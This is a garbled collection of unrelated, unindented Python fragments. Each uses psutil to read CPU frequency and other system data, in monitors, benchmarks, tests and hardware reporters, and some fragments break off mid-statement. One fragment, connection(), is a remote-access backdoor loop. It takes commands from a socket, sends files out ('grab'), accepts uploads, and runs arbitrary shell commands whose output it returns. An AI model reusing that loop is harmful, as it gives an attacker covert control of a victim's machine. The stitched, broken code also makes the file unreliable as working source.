def make_serverrec(server_id, idc, idc_type, roles, allocated_drive_pre, **argkv):
serverrec = {}
ips = net.get_host_ip4(exclude_prefix="docker")
inn_ips = net.choose_inn(ips)
pub_ips = net.choose_pub(ips)
memory = psutil.virtual_memory().total
cpu_info = {}
# count of logical cpus
cpu_info['count'] = psutil.cpu_count()
# Mhz
if hasattr(psutil, 'cpu_freq'):
cpu_info['frequency'] = psutil.cpu_freq().max
serverrec['server_id'] = server_id
serverrec['pub_ips'] = pub_ips
serverrec['inn_ips'] = inn_ips
serverrec['hostname'] = socket.gethostname()
serverrec['memory'] = memory
serverrec['cpu'] = cpu_info
serverrec['idc'] = idc
serverrec['idc_type'] = idc_type
serverrec['roles'] = roles
mps = _make_mountpoints_info()
serverrec['mountpoints'] = mps
serverrec['next_mount_index'] = 1
serverrec['allocated_drive'] = _get_allocated_drive(allocated_drive_pre, mps)
serverrec.update(argkv)
return serverrec
def test_cpu_frequency_against_sysctl(self):
# Currently only cpu 0 is frequency is supported in FreeBSD
# All other cores use the same frequency.
sensor = "dev.cpu.0.freq"
sysctl_result = int(sysctl(sensor))
self.assertEqual(psutil.cpu_freq().current, sysctl_result)
sensor = "dev.cpu.0.freq_levels"
sysctl_result = sysctl(sensor)
# sysctl returns a string of the format:
# <freq_level_1>/<voltage_level_1> <freq_level_2>/<voltage_level_2>...
# Ordered highest available to lowest available.
max_freq = int(sysctl_result.split()[0].split("/")[0])
min_freq = int(sysctl_result.split()[-1].split("/")[0])
self.assertEqual(psutil.cpu_freq().max, max_freq)
self.assertEqual(psutil.cpu_freq().min, min_freq)
def test_cpu_freq(self):
freq = psutil.cpu_freq()
self.assertEqual(
freq.current * 1000 * 1000, sysctl("sysctl hw.cpufrequency"))
self.assertEqual(
freq.min * 1000 * 1000, sysctl("sysctl hw.cpufrequency_min"))
self.assertEqual(
freq.max * 1000 * 1000, sysctl("sysctl hw.cpufrequency_max"))
def test_cpu_freq(self):
def check_ls(ls):
for nt in ls:
self.assertLessEqual(nt.current, nt.max)
for name in nt._fields:
value = getattr(nt, name)
self.assertIsInstance(value, (int, long, float))
self.assertGreaterEqual(value, 0)
ls = psutil.cpu_freq(percpu=True)
if TRAVIS and not ls:
return
assert ls, ls
check_ls([psutil.cpu_freq(percpu=False)])
if LINUX:
self.assertEqual(len(ls), psutil.cpu_count())
def test_cpu_freq(self):
def check_ls(ls):
for nt in ls:
self.assertEqual(nt._fields, ('current', 'min', 'max'))
if nt.max != 0.0:
self.assertLessEqual(nt.current, nt.max)
for name in nt._fields:
value = getattr(nt, name)
self.assertIsInstance(value, (int, long, float))
self.assertGreaterEqual(value, 0)
ls = psutil.cpu_freq(percpu=True)
if TRAVIS and not ls:
raise self.skipTest("skipped on Travis")
if FREEBSD and not ls:
raise self.skipTest("returns empty list on FreeBSD")
assert ls, ls
check_ls([psutil.cpu_freq(percpu=False)])
if LINUX:
self.assertEqual(len(ls), psutil.cpu_count())
def sessionInfo():
""" Return a dictionary with session and run information
"""
version = "%s" % Tools.version
result = {'name': os.path.basename(sys.argv[0]),
'timestamp': time.strftime("%a %b %d %X %Y"),
'version': version,
'runInfo': [{"key": "commandline", "value": " ".join(sys.argv)}],
'uname': " / ".join(platform.uname()),
'dist': " / ".join(platform.dist()),
'mac_ver': " / ".join([platform.mac_ver()[0], platform.mac_ver()[2]]),
'python_implementation': platform.python_implementation(),
'python_version': platform.python_version(),
'metadata': {
"required": {
"id": "haplotypes",
'version': version,
"module": "%s" % os.path.basename(sys.argv[0]),
"description": "%s generated this JSON file via command line %s" % (
sys.argv[0], " ".join(sys.argv))}},
'environment': {str(k): str(os.environ[k]) for k in os.environ.keys()}}
result["python_prefix"] = sys.prefix
if hasattr(sys, 'real_prefix'):
result["python_virtualenv"] = True
result["python_real_prefix"] = sys.real_prefix
try:
import psutil
result["cpus"] = psutil.cpu_count()
result["logical_cpus"] = psutil.cpu_count(True)
result["cpu_freq"] = psutil.cpu_freq()
result["memory"] = dict(psutil.virtual_memory().__dict__)
except:
pass
try:
import pip
pip_packages = []
for i in pip.get_installed_distributions(local_only=True):
pip_packages.append(str(i))
result["pip_packages"] = pip_packages
except:
pass
return result
def _poll(current, last_value):
# normalize with effective period
diff = 1.
if self._last_period:
diff = self._last_period / 10**9
# int values: bytes_sent, bytes_recv, packets_sent, packets_recv, errin, errout, dropin, dropout
current['network'] = dict(psutil.net_io_counters()._asdict())
# int values: read_count, write_count, read_bytes, write_bytes, read_time, write_time, read_merged_count, write_merged_count, busy_time
current['disk'] = dict(psutil.disk_io_counters()._asdict())
if last_value:
for k in ['network', 'disk']:
d = current[k]
for k2 in list(d.keys()):
value = float(d[k2] - last_value[k][k2]) / diff
d['{}_per_sec'.format(k2)] = int(value)
# float values: user, nice, system, idle, iowait, irq, softirq, streal, guest, guest_nice
current['cp'] = dict(psutil.cpu_times_percent(interval=None)._asdict())
cpu_freq = psutil.cpu_freq()
current['cp']['freq'] = round(cpu_freq.current) if cpu_freq else None
s = psutil.cpu_stats()
current['cp']['ctx_switches'] = s.ctx_switches
current['cp']['interrupts'] = s.interrupts
current['cp']['soft_interrupts'] = s.soft_interrupts
# int values: total, available, used, free, active, inactive, buffers, cached, shared, slab
# float values: percent
current['memory'] = dict(psutil.virtual_memory()._asdict())
# Network connections
res = {}
conns = psutil.net_connections(kind='all')
for c in conns:
if c.family not in res:
res[c.family] = 0
res[c.family] += 1
res2 = {}
for f, cnt in res.items():
res2[f.name] = cnt
current['network']['connection'] = res2
return current
def _detect_hardware(self):
result = dict(cores="unknown",
freq="unknown",
ram="unknown")
try:
cores = psutil.cpu_count()
cpu_freq = psutil.cpu_freq()
ram = psutil.virtual_memory()
if cores:
result["cores"] = cores
if cpu_freq and hasattr(cpu_freq, "max"):
result["freq"] = cpu_freq.max
if ram and hasattr(ram, "total"):
result["ram"] = ram.total
except:
self._logger.exception("Error while detecting hardware environment")
return result
def connection():
global s
while True:
command = s.recv(1024)
command = command.decode()
if 'grab' in command:
grab, path = command.split('*')
transfergrab(s, path)
elif 'upload' in command:
transferupload(s, command)
elif 'cd' in command:
code, directory = command.split('*')
try:
os.chdir(directory)
s.send(("[+] CWD Is " + os.getcwd()).encode())
except:
s.send("[-] PATH NOT FOUND".encode())
elif 'shell' in command:
shell, query = command.split('*')
query = query.split()
try:
cmd = subprocess.Popen(query,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
stdout, stderr = cmd.communicate()
if stdout:
s.send(stdout)
s.send(("DONE").encode())
elif stderr:
s.send(stderr)
s.send(("DONE").encode())
else:
s.send(("DONE").encode())
except:
s.send("COMMAND_NOT_FOUND".encode())
elif 'SLEEP' in command:
s.close()
time.sleep(16)
break
elif 'os' in command:
uname = platform.uname()
a = uname.system + "$" + uname.node + "$" + uname.machine + "$" + uname.version
s.send(a.encode())
elif 'status' in command:
uname = platform.uname()
boot_time_timestamp = psutil.boot_time()
bt = datetime.fromtimestamp(boot_time_timestamp)
svmem = psutil.virtual_memory()
swap = psutil.swap_memory()
cpufreq = psutil.cpu_freq()
bootdate = str(bt.year) + "-" + str(bt.month) + "-" + str(bt.day)
boottime = str(bt.hour) + ":" + str(bt.minute) + ":" + str(
bt.second)
tm = str(get_size(svmem.total))
am = str(get_size(svmem.available))
um = str(get_size(svmem.used))
perm = str(svmem.percent) + "%"
ts = str(get_size(swap.total))
fs = str(get_size(swap.free))
cpuf = str(cpufreq.current) + "Mhz"
tcpu = str(psutil.cpu_percent()) + "%"
data = uname.system + "$" + uname.node + "$" + uname.machine + "$" + uname.version + "$" + bootdate + "$" + boottime + "$" + tm + "$" + am + "$" + um + "$" + perm + "$" + ts + "$" + fs + "$" + cpuf + "$" + tcpu
s.send(data.encode())
elif 'cischeck' in command:
cischeck(s)
elif 'cisenable' in command:
cisenable(s)
elif 'message' in command:
message(s, command)
elif 'splunkenable' in command:
splunkenableremote(s, command)
def matrixmultiply(typestr = 'double'):
n = 2400
iterations = 10
seed(123)
if typestr == 'single':
floattype = float32
else:
floattype = float64
# Initialize
a = uniform(0, 10, (n, n)).astype(floattype)
b = uniform(0, 10, (n, n)).astype(floattype)
# Perform measurement
t0 = 0
t1 = 0
for i in range(iterations):
t0 -= process_time()
t1 -= perf_counter()
c = a.dot(b)
t0 += process_time()
t1 += perf_counter()
#Print result
print('{0:.4f}s mean elapsed time,'.format(t1/iterations),
'{0:.4f}s mean process time (total for all cores)'.format(t0/iterations))
print('using', floattype)
# Print general computer info
u = uname()
print('Operating system:', u.system, u.release + ',',
'64-bit,' if (maxsize > 2**31 - 1) else '32-bit;',
'Python version', python_version(),
'\nCPU:', u.processor)
try:
from psutil import cpu_count, virtual_memory, cpu_freq
print('Cores:',
cpu_count(logical=False), 'physical,',
cpu_count(logical=True), 'logical;',
'RAM: {0:.3f}GB total'.format(virtual_memory().total/1e9))
print('Current CPU frequency: {0:.3f}GHz'.format(cpu_freq().current/1e3))
except:
print('(Install psutil to find more details!)')
# System specific information
if u.system == 'Windows':
from subprocess import check_output
info = check_output('wmic cpu get name').decode().split()[1:]
print(' '.join(info))
elif u.system == 'Linux':
from platform import linux_distribution
print('Distribution: {0} {1}'.format(*linux_distribution()))
from re import sub
from subprocess import check_output
info = check_output('cat /proc/cpuinfo', shell=True).decode().split('\n')
for line in info:
if 'model name' in line:
info = sub( '.*odel name.*:', '', line, 1)
break
for line in info:
if 'ardware' in line:
info += ', ' + sub( '.*ardware.*:', '', line, 1)
break
print(info)
elif u.system == 'Darwin':
from platform import mac_ver
print('Mac OSX release {0},'.format(mac_ver()[0]))
return c[0, 0]
def __init__(self):
print("Starting System Monitor")
self.root = Tk()
self.root.title('System Monitor')
self.root.iconbitmap('@sysmonitor.xbm')
# self.root.geometry("600x300+150+150")
#NoteBook
self.n = Notebook(self.root)
self.f1 = Frame(self.n) # CPU Usage
self.f2 = Frame(self.n) # Memory
self.f3 = Frame(self.n) # Sensors
self.f4 = Frame(self.n) # Graph
self.f5 = Frame(self.n) # Processes
self.n.add(self.f1, text='CPU Usage')
self.n.add(self.f2, text='Memory')
self.n.add(self.f3, text='Sensors')
self.n.add(self.f4, text='Graph')
self.n.add(self.f5, text='Processes')
self.n.pack(fill=BOTH)
################################################### CPU USAGE ######################################################
#Current CPU usage
self.cur_cpu = pc.cpu_percent()
self.cpu_arr = deque()
self.cpu_arr.append(self.cur_cpu)
#Progress Bar to show current CPU usage
self.cpu_bar = Progressbar(self.f1,
length=300,
value=self.cur_cpu,
mode="determinate")
self.cpu_bar.pack(padx=5, pady=5, fill=BOTH)
#Variable string to store current CPU usage
self.cpu_percent = StringVar()
self.cpu_percent.set("CPU Usage: " + str(self.cur_cpu) + " %")
self.cpu_percent_label = Label(self.f1, textvariable=self.cpu_percent)
self.cpu_percent_label.place(relx=0.5, rely=0.2, anchor=CENTER)
self.cpu_freq = pc.cpu_freq()
self.cpu_freq_val = StringVar()
self.cpu_freq_val.set(
str("Current CPU Freq: " + str(int(self.cpu_freq[0])) + "/" +
str(int(self.cpu_freq[2])) + " MHz"))
self.cpu_freq_label = Label(self.f1, textvariable=self.cpu_freq_val)
self.cpu_freq_label.place(relx=0.5, rely=0.3, anchor=CENTER)
self.cpu_count_label = Label(self.f1,
text="Number of CPUs: " +
str(pc.cpu_count()))
self.cpu_count_label.place(relx=0.5, rely=0.4, anchor=CENTER)
self.pid = pc.pids()
self.pid_val = StringVar()
self.pid_val.set(str("Total Running Processes: " + str(len(self.pid))))
self.pid_label = Label(self.f1, textvariable=self.pid_val)
self.pid_label.place(relx=0.5, rely=0.5, anchor=CENTER)
###################################################### MEMORY ####################################################
self.ram = pc.virtual_memory()
self.swap = pc.swap_memory()
self.disk = pc.disk_usage('/home')
self.ram_percent = self.ram[2]
self.swap_percent = self.swap[3]
self.disk_percent = self.disk[3]
self.memory_window = Panedwindow(self.f2, orient=VERTICAL)
self.memory_frame1 = Labelframe(self.memory_window,
text='RAM',
width=100,
height=100)
self.memory_frame2 = Labelframe(self.memory_window,
text='Swap',
width=100,
height=100)
self.memory_frame3 = Labelframe(self.memory_window,
text='Disk',
width=100,
height=100)
self.memory_window.add(self.memory_frame1)
self.memory_window.add(self.memory_frame2)
self.memory_window.add(self.memory_frame3)
# RAM Used
self.ram_bar = Progressbar(self.memory_frame1,
length=300,
value=self.ram_percent,
mode="determinate")
self.ram_bar.pack(padx=5, pady=5, fill=BOTH)
self.ram_val = StringVar()
self.ram_val.set("Ram Used: " + str(self.ram_percent) + "%")
self.ram_label = Label(self.memory_frame1, textvariable=self.ram_val)
self.ram_label.pack(side=LEFT, fill=BOTH)
#Swap Used
self.swap_bar = Progressbar(self.memory_frame2,
length=300,
value=self.swap_percent,
mode="determinate")
self.swap_bar.pack(padx=5, pady=5, fill=BOTH)
self.swap_val = StringVar()
self.swap_val.set("Swap Used: " + str(self.swap_percent) + "%")
self.swap_label = Label(self.memory_frame2, textvariable=self.swap_val)
self.swap_label.pack(side=LEFT, fill=BOTH)
#Disk Space Used
self.disk_bar = Progressbar(self.memory_frame3,
length=300,
value=self.disk_percent,
mode="determinate")
self.disk_bar.pack(padx=5, pady=5, fill=BOTH)
self.disk_val = StringVar()
self.disk_val.set("Disk Used: " + str(self.disk_percent) + "%")
self.disk_label = Label(self.memory_frame3, textvariable=self.disk_val)
self.disk_label.pack(side=LEFT, fill=BOTH)
self.memory_frame1.pack(fill=BOTH)
self.memory_frame2.pack(fill=BOTH)
self.memory_frame3.pack(fill=BOTH)
self.memory_window.pack(fill=BOTH)
###################################################### SENSORS #####################################################
#Current Sensor Values
self.temperature = pc.sensors_temperatures()
self.battery = pc.sensors_battery()
self.battery_estimate = ""
self.power_source = ""
source = power.PowerManagement().get_providing_power_source_type()
if (source == power.POWER_TYPE_AC):
self.power_source = "AC"
elif (source == power.POWER_TYPE_BATTERY):
self.power_source = "BATTERY"
elif (source == power.POWER_TYPE_UPS):
self.power_source = "UPS"
else:
self.power_source = "UNKNOWN"
self.temp_cur = self.temperature['coretemp'][0][1]
self.temp_critical = self.temperature['coretemp'][0][3]
self.sensor_window = Panedwindow(self.f3, orient=VERTICAL)
self.sensor_frame1 = Labelframe(self.sensor_window,
text='Temperature',
width=100,
height=100)
self.sensor_frame2 = Labelframe(self.sensor_window,
text='Battery',
width=100,
height=100)
self.sensor_window.add(self.sensor_frame1)
self.sensor_window.add(self.sensor_frame2)
#Progress Bar to show current temperature
self.temp_bar = Progressbar(self.sensor_frame1,
length=300,
value=self.temp_cur,
mode="determinate",
maximum=self.temp_critical)
self.temp_bar.pack(padx=5, pady=5, fill=BOTH)
#Temperature
self.cur_temp = StringVar()
self.cur_temp.set("cur_temp: " + str(self.temp_cur) + "`C")
self.cur_temp_label = Label(self.sensor_frame1,
textvariable=self.cur_temp)
self.cur_temp_label.pack(side=LEFT, fill=BOTH)
self.label_temp = Label(self.sensor_frame1,
text="critical_temp: " +
str(self.temp_critical) + "\u2103")
self.label_temp.pack(side=RIGHT, fill=BOTH)
#Battery Status
self.batt_estimate = StringVar()
self.batt_estimate.set("Battery Estimate: " +
str(self.battery_estimate))
self.batt_estimate_label = Label(self.sensor_frame2,
textvariable=self.batt_estimate)
self.batt_estimate_label.pack(fill=BOTH)
self.label_batt_type = Label(self.sensor_frame2,
text="Power Source: " + self.power_source)
self.label_batt_type.pack(side=LEFT, fill=BOTH)
self.sensor_frame1.pack(fill=BOTH)
self.sensor_frame2.pack(side=LEFT, fill=BOTH)
self.sensor_window.pack(fill=BOTH)
################################################### GRAPH ##########################################################
#Graph Variables
self.fig = Figure(figsize=(0.1, 0.1))
ax = self.fig.add_subplot(111)
self.line, = ax.plot(range(50))
ax.axis([0, 50, 0, 100])
ax.set_title("CPU Usage", fontsize=12)
ax.set_ylabel("Percentage", fontsize=10)
ax.set_xlabel("Time", fontsize=10)
self.canvas = FigureCanvasTkAgg(self.fig, master=self.f4)
self.canvas.show()
self.canvas.get_tk_widget().pack(side='top',
fill=BOTH,
expand=1,
ipadx=180)
############################################### PROCESSES ##########################################################
self.kill_process_id = 0
self.scrollbar = Scrollbar(self.f5)
self.scrollbar.pack(side=RIGHT, fill=Y)
self.update_button = Button(self.f5,
text="Update",
command=self.update_processes)
self.update_button.pack(side=TOP)
tv = Treeview(self.f5)
tv['columns'] = ('cpu', 'id', 'status')
tv.heading("#0", text='Process Name', anchor='w')
tv.column("#0", anchor="w", width=75)
tv.heading('cpu', text='% CPU')
tv.column('cpu', anchor='center', width=40)
tv.heading('id', text='PID')
tv.column('id', anchor='center', width=35)
tv.heading('status', text='Status')
tv.column('status', anchor='center', width=40)
tv.pack(fill=BOTH)
self.treeview = tv
tv.tag_configure('active', background='green')
# attach listbox to scrollbar
self.treeview.config(yscrollcommand=self.scrollbar.set)
self.scrollbar.config(command=self.treeview.yview)
self.pMenu = Menu(self.f5, tearoff=0)
self.pMenu.add_command(label="Kill Process", command=self.kill_process)
self.pMenu.add_command(label="Kill Process Tree",
command=self.kill_process_tree)
self.pMenu.add_command(label="Cancel")
self.treeview.bind("<Button-3>", self.process_popup)
self.treeview.bind("<Button-2>", self.process_popup)
################################################### UPDATE #########################################################
#Call Update() after 100 ms
self.job1 = self.f1.after(1000, self.update_cpu)
self.job2 = self.f2.after(1000, self.update_memory)
self.job3 = self.f3.after(1000, self.update_sensors)
self.job4 = self.f4.after(1000, self.update_graph)
self.job5 = self.f5.after(1000, self.update_processes)
#The Main Loop
self.root.mainloop()
#Kill everything once the window is closed.
print("Killing everything.")
self.f1.after_cancel(self.job1)
self.f2.after_cancel(self.job2)
self.f3.after_cancel(self.job3)
self.f4.after_cancel(self.job4)
self.f5.after_cancel(self.job5)
print("Good Bye!")
sys.exit()
import commands
import psutil
f = open('Server_Data.txt', 'a+')
logical_cpu = psutil.cpu_count()
harddatat = commands.getoutput(
"system_profiler SPHardwareDataType | grep Processors")
physical_cpu = psutil.cpu_count(logical=False)
avaliable_cpu = psutil.cpu_times()
frequency_cpu = psutil.cpu_freq()
CPU_specifications = commands.getoutput("cat /proc/cpuinfo")
SPMemoryDataType = commands.getoutput("cat /proc/meminfo")
f.write('\n' + 'cpu_specification : ' + str(CPU_specifications) + '\n')
f.write('\n' + 'logical_cpu : ' + str(logical_cpu) + '\n')
f.write('\n' + 'harddatat : ' + str(harddatat) + '\n')
f.write('\n' + 'physical_cpu : ' + str(physical_cpu) + '\n')
f.write('\n' + 'avaliable_cpu : ' + str(avaliable_cpu) + '\n')
f.write('\n' + 'frequency_cpu : ' + str(frequency_cpu) + '\n')
f.write('\n' + 'SPMemoryDataType : ' + str(SPMemoryDataType) + '\n')
f.close()
commit_short_hash = subprocess.check_output(
["git", "rev-parse", "--short", "HEAD"]).strip()
print("\tz3 version:", z3.Z3_get_full_version())
print("\tProcessScheduler commit number:", commit_short_hash.decode("utf-8"))
os_info = platform.uname()
print("OS:")
print("\tOS:", os_info.system)
print("\tOS Release:", os_info.release)
print("\tOS Version:", os_info.version)
print("Hardware:")
print("\tMachine:", os_info.machine)
print("\tPhysical cores:", psutil.cpu_count(logical=False))
print("\tTotal cores:", psutil.cpu_count(logical=True))
# CPU frequencies
cpufreq = psutil.cpu_freq()
print(f"\tMax Frequency: {cpufreq.max:.2f}Mhz")
print(f"\tMin Frequency: {cpufreq.min:.2f}Mhz")
# get the memory details
svmem = psutil.virtual_memory()
print(f"\tTotal memory: {get_size(svmem.total)}")
computation_times = []
plot_abs = []
N = list(range(10, n, step)) # from 4 to N, step 2
for problem_size in N:
print("-> Problem size:", problem_size)
# Teams and Resources
" model average inference time : ",
sum(durations) / len(durations),
"ms",
)
del model
benchmark[model_name] = durations
return benchmark
if __name__ == "__main__":
folder_name = args.folder
device_name = "".join((device_name, "_", str(args.NUM_GPU), "_gpus_"))
system_configs = str(platform.uname())
system_configs = "\n".join((
system_configs,
str(psutil.cpu_freq()),
"cpu_count: " + str(psutil.cpu_count()),
"memory_available: " + str(psutil.virtual_memory().available),
))
gpu_configs = [
torch.cuda.device_count(),
torch.version.cuda,
torch.backends.cudnn.version(),
torch.cuda.get_device_name(0),
]
gpu_configs = list(map(str, gpu_configs))
temp = [
"Number of GPUs on current device : ",
"CUDA Version : ",
"Cudnn Version : ",
"Device Name : ",
def adicionar():
#Leitura de CPU:
cpu_percent = psutil.cpu_percent(interval=1)
cpu_freq = psutil.cpu_freq(percpu=False)
#leitura de disco:
discoC = psutil.disk_usage('C://')
discoD = psutil.disk_usage('D://')
#leitura de memória:
mem = psutil.virtual_memory()
#leitura de data e hora:
datahora = strftime("%Y-%m-%d %H:%M:%S", localtime())
#definindo usuário
id = 1
#tratamento dos dados para as devidas medidas:
mem_used = float(round(mem.used / 1000000000, 2))
mem_available = float(round(mem.available / 1000000000, 2))
discoC_used = float(round(discoC.used / 1000000000, 2))
discoC_free = float(round(discoC.free / 1000000000, 2))
discoD_used = float(round(discoD.used / 1000000000, 2))
discoD_free = float(round(discoD.free / 1000000000, 2))
cpu_p = float(cpu_percent)
cpu_f = float(round(cpu_freq.current, 2))
# inserção dos dados no Banco de Dados
inserecpu = "insert into cpu(id, porcentagem, frequencia, data)values(%s, %s, %s, %s)"
inseremem = "insert into memoria(id, memoria_usado, memoria_disponivel, data)values(%s, %s, %s, %s)"
inseredis = "insert into disco(id, disco_C_usado, disco_C_livre, disco_D_usado, disco_D_livre, data)values(%s, %s, %s, %s,%s, %s)"
valorcpu = (id, cpu_p, cpu_f, datahora)
valormem = (id, mem_used, mem_available, datahora)
valordis = (id, discoC_used, discoC_free, discoD_used, discoD_free,
datahora)
if pesquisa.cpub.isChecked:
cursor.execute(inserecpu, valorcpu)
if pesquisa.memoriab.isChecked:
cursor.execute(inseremem, valormem)
if pesquisa.Discob.isChecked:
cursor.execute(inseredis, valordis)
if pesquisa.cpub.isChecked and pesquisa.memoriab.isChecked:
cursor.execute(inserecpu, valorcpu)
cursor.execute(inseremem, valormem)
if pesquisa.cpub.isChecked and pesquisa.Discob.isChecked:
cursor.execute(inserecpu, valorcpu)
cursor.execute(inseredis, valordis)
if pesquisa.memoriab.isChecked and pesquisa.Discob.isChecked:
cursor.execute(inseremem, valormem)
cursor.execute(inseredis, valordis)
else:
cursor.execute(inserecpu, valorcpu)
cursor.execute(inseremem, valormem)
cursor.execute(inseredis, valordis)
conexao.commit()
'memory': {},
'disk': {},
'network': {},
'processes': {},
'applications': {}
}
if config['CollectInformation']['Node'] == 'true':
node_data['node']['id'] = config['DEFAULT']['NodeId']
node_data['node']['name'] = socket.gethostname()
node_data['node']['os'] = platform.system()
node_data['node']['version'] = platform.release()
if config['CollectInformation']['CPU'] == 'true':
node_data['cpu']['count'] = ps.cpu_count()
node_data['cpu']['freq'] = ps.cpu_freq(percpu=True)
def main():
if config['CollectInformation']['CPU'] == 'true':
node_data['cpu']['times'] = ps.cpu_times_percent(interval=1,
percpu=True)
if config['CollectInformation']['Memory'] == 'true':
memory_status = ps.virtual_memory()
stat = {
'total': memory_status.total,
'used': memory_status.used,
'percent_used': memory_status.percent
}
node_data['memory']['main'] = stat
def getSystemInfo(self):
try:
info = []
#general info
info.append(('General', 'User', getpass.getuser()))
info.append(('General', 'Current Time',
datetime.now().strftime('%Y/%m/%#d %H:%M:%S')))
# Is admin account
info.append(('General', 'Admin User', self.is_admin()))
#Platform Info
info.append(('Platform', 'Platform', platform.platform()))
info.append(('Platform', 'System', platform.system()))
info.append(('Platform', 'Platform-release', platform.release()))
info.append(('Platform', 'Platform-version', platform.version()))
info.append(('Platform', 'Architecture', platform.machine()))
info.append(('Platform', 'Hostname', socket.gethostname()))
info.append(('Platform', 'IP-address',
socket.gethostbyname(socket.gethostname())))
info.append(('Platform', 'MAC-address',
':'.join(re.findall('..', '%012x' % uuid.getnode()))))
info.append(('Platform', 'Processor', platform.processor()))
info.append(('Platform', 'RAM',
self.get_size(psutil.virtual_memory().total)))
# boot time
boot_time_timestamp = psutil.boot_time()
bt = datetime.fromtimestamp(boot_time_timestamp)
info.append(
('Platform', 'Boot Time', bt.strftime('%Y/%m/%#d %H:%M:%S')))
# CPU Info
info.append(('CPU', "Physical cores",
f'{psutil.cpu_count(logical=False)}'))
info.append(
('CPU', "Total cores", f'{psutil.cpu_count(logical=True)}'))
# CPU frequencies
cpufreq = psutil.cpu_freq()
info.append(('CPU', "Max Frequency", f'{cpufreq.max:.2f}Mhz'))
info.append(('CPU', "Min Frequency", f'{cpufreq.min:.2f}Mhz'))
info.append(
('CPU', "Current Frequency", f'{cpufreq.current:.2f}Mhz'))
# CPU usage
for i, percentage in enumerate(
psutil.cpu_percent(percpu=True, interval=1)):
info.append(('CPU', f'Core {i}', f'{percentage}%'))
info.append(('CPU', "Total CPU Usage", f'{psutil.cpu_percent()}%'))
# Memory Information
# get the memory details
svmem = psutil.virtual_memory()
info.append(
('memory', "Memory Total", f'{self.get_size(svmem.total)}'))
info.append(('memory', "Memory Available",
f'{self.get_size(svmem.available)}'))
info.append(
('memory', "Memory Used", f'{self.get_size(svmem.used)}'))
info.append(('Memory', "Memory Percentage", f'{svmem.percent}%'))
# get the swap Memory details (if exists)
swap = psutil.swap_memory()
info.append(
('Memory', "Swap Total", f'{self.get_size(swap.total)}'))
info.append(('Memory', "Swap Free", f'{self.get_size(swap.free)}'))
info.append(('Memory', "Swap Used", f'{self.get_size(swap.used)}'))
info.append(('Memory', "Swap Percentage", f'{swap.percent}%'))
# disk information
partitions = psutil.disk_partitions()
for partition in partitions:
info.append(('Disks', "Device", partition.device))
info.append(('Disks', "Mountpoint", partition.mountpoint))
info.append(('Disks', "File System Type", partition.fstype))
try:
partition_usage = psutil.disk_usage(partition.mountpoint)
except PermissionError:
# this can be catched due to the disk that
# isn't ready
continue
info.append(('Disks', "Total Size",
f'{self.get_size(partition_usage.total)}'))
info.append(('Disks', "Used",
f'{self.get_size(partition_usage.used)}'))
info.append(('Disks', "Free",
f'{self.get_size(partition_usage.free)}'))
info.append(
('Disks', "Percentage", f'{partition_usage.percent}%'))
# get IO statistics since boot
disk_io = psutil.disk_io_counters()
info.append(('Disks', "Total Read",
f'{self.get_size(disk_io.read_bytes)}'))
info.append(('Disks', "Total Write",
f'{self.get_size(disk_io.write_bytes)}'))
# network info
if_addrs = psutil.net_if_addrs()
for interface_name, interface_addresses in if_addrs.items():
for address in interface_addresses:
if str(address.family) == 'AddressFamily.AF_INET':
info.append(('Network', f'{interface_name} IP Address',
address.address))
info.append(('Network', f'{interface_name} Netmask',
address.netmask))
info.append(
('Network', f'{interface_name} Broadcast IP',
address.broadcast))
elif str(address.family) == 'AddressFamily.AF_PACKET':
info.append(
('Network', f'{interface_name} MAC Address',
address.address))
info.append(('Network', f'{interface_name} Netmask',
address.netmask))
info.append(
('Network', f'{interface_name} Broadcast MAC',
address.broadcast))
# get IO statistics since boot
net_io = psutil.net_io_counters()
info.append(('Network', 'Total Bytes Sent',
self.get_size(net_io.bytes_sent)))
info.append(('Network', 'Total Bytes Received',
self.get_size(net_io.bytes_recv)))
# process info
if self.processes:
for proc in psutil.process_iter():
with proc.oneshot():
# System Idle Process for Windows NT, useless to see anyways
if proc.pid == 0:
continue
mem_info = proc.memory_info()
info.append(('Processes', f'{proc.name()}', f'PID : {proc.pid}, Status : {proc.status()}' \
f', Mem Usage : {self.get_size(mem_info.rss)}' \
f', Threads: {proc.num_threads()}'))
# services
if self.services:
for service in psutil.win_service_iter():
info.append(('Services', service.name(), f'Username : {service.username()}' \
f', binpath : {service.binpath()}, Start Type : {service.start_type()}' \
f', Status : {service.status()}'))
# envornment
if self.environ:
for k, v in os.environ.items():
info.append(('Environment', k, v))
except Exception as e:
info.append(('Error', 'error', str(e)))
return info
cputime = psutil.cpu_percent()
# Return a float representing the current system-wide CPU utilization as a percentage
cpucount = psutil.cpu_count()
# Return the number of logical CPUs in the system
cpucountlogical = psutil.cpu_count(logical=False)
# Return the number of physical cores only (hyper thread CPUs are excluded)
cpuusable = len(psutil.Process().cpu_affinity())
# The number of usable CPUs
psutil.cpu_freq(percep=True)
# Return CPU frequency as a nameduple including current, min and max frequencies expressed in Mhz
#
# ──────────────────────────────────────────────────── II ──────────
# :::::: M E M O R Y : : : : : : : :
# ──────────────────────────────────────────────────────────────
#
mem = psutil.virtual_memory()
# Return statistics about system memory usage as a named tuple
#
# ────────────────────────────────────────────────── III ──────────
# :::::: D I S K S : : : : : : : :
# ────────────────────────────────────────────────────────────
#
def processFREQ(self):
self.PROCESSORFREQ["text"] = psutil.cpu_freq(percpu=False)
self.after(1000, self.processFREQ)
else:
print(a)
try:
while (1):
#Récupération de l'hote
nomHost = platform.node() + IP
#Récupération de noyau
version = platform.release()
#Récupération du type cpu
cpu = platform.processor()
#Récupération de la fréquence cpu
cpuFre = psutil.cpu_freq().current
cpuMax = psutil.cpu_freq().max
if systeme == 'Windows':
uptime = "pas de valeur"
elif systeme == 'Linux':
# calculate the uptime
uptime_file = open('/proc/uptime')
uptime = uptime_file.readline().split()[0]
uptime_file.close()
uptime = float(uptime)
(uptime, secs) = (int(uptime / 60), uptime % 60)
(uptime, mins) = divmod(uptime, 60)
(days, hours) = divmod(uptime, 24)
uptime = 'up %d jour%s, %d:%02d' % (days, days != 1 and 's'
or '', hours, mins)
__copyright__ = "Copyright 2015-2017, ContraxSuite, LLC"
__license__ = "https://github.com/LexPredict/lexpredict-lexnlp/blob/master/LICENSE"
__version__ = "0.1.8"
__maintainer__ = "LexPredict, LLC"
__email__ = "*****@*****.**"
DIR_ROOT = os.path.normpath(
os.path.join(os.path.dirname(os.path.abspath(__file__)), '..', '..'))
DIR_BENCHMARKS = os.path.join(DIR_ROOT, 'benchmarks')
FN_BENCHMARKS = os.path.join(DIR_BENCHMARKS, 'benchmarks.csv')
FN_PROBLEMS = os.path.join(DIR_BENCHMARKS, 'problems_hr.txt')
